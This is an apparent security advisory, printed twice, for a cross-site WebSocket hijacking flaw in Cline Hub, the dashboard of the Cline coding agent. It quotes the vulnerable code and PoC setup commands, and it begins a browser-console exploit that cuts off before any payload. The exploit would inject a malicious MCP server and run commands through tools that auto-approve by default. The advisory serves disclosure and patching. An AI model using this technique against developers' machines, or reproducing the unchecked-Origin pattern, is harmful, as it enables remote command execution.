CVE-2026-59723

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.

Summary

The Cline Hub dashboard server (@cline/cline-hub), launched via the cline dashboard CLI command, accepts WebSocket connections on the /browser endpoint without validating the HTTP Origin header. When ROOM_SECRET is not set—the default for local (127.0.0.1) binds—isAuthorizedBrowserRequest() returns true unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to ws://127.0.0.1:8787/browser. An attacker-controlled page can then send desktopCommand frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to autoApprove: true for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an upsert_mcp_server frame injected a malicious stdio MCP server entry into the victim's Cline settings file with ok: true response.

Details

The vulnerable code path spans multiple files in the apps/cline-hub workspace.

No secret by default (local bind)

apps/cline-hub/src/options.ts:54–57 converts an empty ROOM_SECRET environment variable to undefined:

// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
    const secret = value?.trim();
    return secret ? secret : undefined;
}

apps/cline-hub/src/options.ts:67–85 allows the local default host (127.0.0.1) to start without a secret, so roomSecret remains undefined in the default configuration.

Authorization bypass — Origin not checked

apps/cline-hub/src/server.ts:61–64 short-circuits all authorization when roomSecret is undefined, and performs no Origin header check at any point:

// apps/cline-hub/src/server.ts:61
function isAuthorizedBrowserRequest(url: URL): boolean {
    if (!roomSecret) return true;
    return url.searchParams.get("roomSecret") === roomSecret;
}

WebSocket upgrade without Origin validation

apps/cline-hub/src/server.ts:86–97 upgrades any request to /browser without inspecting the Origin header:

// apps/cline-hub/src/server.ts:86
if (url.pathname === "/browser") {
    if (!isAuthorizedBrowserRequest(url)) {
        return createJsonResponse({ error: "invalid_room_secret" }, 401);
    }
    if (server.upgrade(req, { data })) return undefined;
}

Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the Origin header but leave enforcement to the server. Because the server ignores Origin, any cross-origin JavaScript can connect.

Auto-approve tool policy for dashboard sessions

apps/cline-hub/src/server/sessions.ts:129–133 sets the default tool policy to auto-approve all tools for new dashboard sessions:

// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
    options?.autoApproveTools === false
        ? { "*": { autoApprove: false } }
        : { "*": { autoApprove: true } },

MCP settings write sink

apps/cline-hub/src/server/desktop-commands.ts:180–185 processes upsert_mcp_server commands without additional authorization. apps/cline-hub/src/server/mcp.ts:101–136 writes arbitrary stdio command entries to $CLINE_DATA_DIR/settings/cline_mcp_settings.json, which Cline executes when the MCP server is next activated.

PoC

Prerequisites

• cline version 3.0.24 installed globally
• A browser (or any WebSocket client) running on the same machine as the victim

Setup

npm i -g [email protected]
export CLINE_DATA_DIR="$(mktemp -d)"
cline dashboard --no-open
# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset

Exploit (browser console on any cross-origin page)

Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:

const ws = new WebSocket("ws://127.0.0.1:8787/browser");
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: "desktopCommand",
  …

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.

Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.

Summary

The Cline Hub dashboard server (@cline/cline-hub), launched via the cline dashboard CLI command, accepts WebSocket connections on the /browser endpoint without validating the HTTP Origin header. When ROOM_SECRET is not set—the default for local (127.0.0.1) binds—isAuthorizedBrowserRequest() returns true unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to ws://127.0.0.1:8787/browser. An attacker-controlled page can then send desktopCommand frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to autoApprove: true for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an upsert_mcp_server frame injected a malicious stdio MCP server entry into the victim's Cline settings file with ok: true response.

Details

The vulnerable code path spans multiple files in the apps/cline-hub workspace.

No secret by default (local bind)

apps/cline-hub/src/options.ts:54–57 converts an empty ROOM_SECRET environment variable to undefined:

// apps/cline-hub/src/options.ts:54
function normalizeRoomSecret(value: string | undefined): string | undefined {
    const secret = value?.trim();
    return secret ? secret : undefined;
}

apps/cline-hub/src/options.ts:67–85 allows the local default host (127.0.0.1) to start without a secret, so roomSecret remains undefined in the default configuration.

Authorization bypass — Origin not checked

apps/cline-hub/src/server.ts:61–64 short-circuits all authorization when roomSecret is undefined, and performs no Origin header check at any point:

// apps/cline-hub/src/server.ts:61
function isAuthorizedBrowserRequest(url: URL): boolean {
    if (!roomSecret) return true;
    return url.searchParams.get("roomSecret") === roomSecret;
}

WebSocket upgrade without Origin validation

apps/cline-hub/src/server.ts:86–97 upgrades any request to /browser without inspecting the Origin header:

// apps/cline-hub/src/server.ts:86
if (url.pathname === "/browser") {
    if (!isAuthorizedBrowserRequest(url)) {
        return createJsonResponse({ error: "invalid_room_secret" }, 401);
    }
    if (server.upgrade(req, { data })) return undefined;
}

Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the Origin header but leave enforcement to the server. Because the server ignores Origin, any cross-origin JavaScript can connect.

Auto-approve tool policy for dashboard sessions

apps/cline-hub/src/server/sessions.ts:129–133 sets the default tool policy to auto-approve all tools for new dashboard sessions:

// apps/cline-hub/src/server/sessions.ts:129
toolPolicies:
    options?.autoApproveTools === false
        ? { "*": { autoApprove: false } }
        : { "*": { autoApprove: true } },

MCP settings write sink

apps/cline-hub/src/server/desktop-commands.ts:180–185 processes upsert_mcp_server commands without additional authorization. apps/cline-hub/src/server/mcp.ts:101–136 writes arbitrary stdio command entries to $CLINE_DATA_DIR/settings/cline_mcp_settings.json, which Cline executes when the MCP server is next activated.

PoC

Prerequisites

• cline version 3.0.24 installed globally
• A browser (or any WebSocket client) running on the same machine as the victim

Setup

npm i -g [email protected]
export CLINE_DATA_DIR="$(mktemp -d)"
cline dashboard --no-open
# Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset

Exploit (browser console on any cross-origin page)

Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running:

const ws = new WebSocket("ws://127.0.0.1:8787/browser");
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: "desktopCommand",
  …